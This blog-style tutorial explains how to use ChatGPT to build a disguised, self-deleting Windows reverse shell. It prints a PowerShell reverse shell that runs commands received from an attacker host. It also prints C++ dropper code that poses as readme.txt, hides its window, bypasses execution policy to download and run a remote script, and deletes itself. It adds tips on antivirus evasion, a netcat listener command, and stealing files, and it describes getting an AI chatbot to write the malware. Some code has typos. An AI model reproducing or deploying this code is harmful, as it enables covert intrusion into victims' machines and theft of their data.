Using ChatGPT to make a covert reverse shell.
Using Artificial Intelligence to make a self-deleting reverse shell: Creative uses of ChatGPT.
Below you will find the C++ code included. Once compiled the reverse shell simply appears as a text file, complete with a default Windows icon, despite being an executable file.
When the code runs it will replace itself with a dummy text file in the same directory, leaving no evidence nor source code of the program.
The code launches a PowerShell script to create a reverse shell written by ChatGPT. The only requirement given to ChatGPT was to write a script that would connect to netcat, and create a reverse shell.
The code is in bold text.
$host1 = “Shell.Ip.Address”
$port1 = 1234
$socket = New-Object System.Net.Sockets.TcpClient($host1,
$port1)
$stream = $socket.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
$reader = New-Object System.IO.StreamReader($stream)
$writer.WriteLine(“Connected.”)
$response = “”
while($response -ne “quit”){
$currentDir = Get-Location
$writer.WriteLine($currentDir)
$response = $reader.ReadLine()
$output = Invoke-Expression $response
foreach ($line in $output -split “’n”) {
$writer.WriteLine($line)
}
}
$socket .Close()
PowerShell is used to avoid the script being written to the file system. The code can also be obfuscated easily to avoid "Windows Defenser Anti-Virus."
Upload the remote shell to an open web directory, than simply run Netcat on your server andwait for a connection from the target with:
nc -lnvp port
When the code below is compiled, it will launch the reverse shell and connect to Netcat. The C++ code is very short and simple. It tells the operating system to not to alert the user or create a window, deletes the original readme file, than writes an actual .txt file into the program directory.
#include <windows.h>
#include <fstream>
using namespace std;
int main()
{
HWND Proc;
AllocConsole();
Proc = FindWindowA(“ConsoleWindowClass”, NULL);
ShowWindow(Proc, 0);
ofstream File(“readme.txt”);
File << “Contents of readme.txt."; File.close|);
system(“start /max powershell.exe notepad.exe readme.txt”);
system(“start /min powershell.exe -ep bypass -ws
hiddeniex(New-Object Net.WebClient).
DownloadString('https://reverseshell.psl’) &”);
system ("start /min cmd /c del readme.exe");
return 0;
}
Windows stores the icon for text files in C:\Windows\System32\images.dll as icon number 102.
You can extract it and add it to the resources inside of your C++ project. The program should be named “readme.exe”
Your reverse shell can download files from the client machine, or upload and run other scripts.
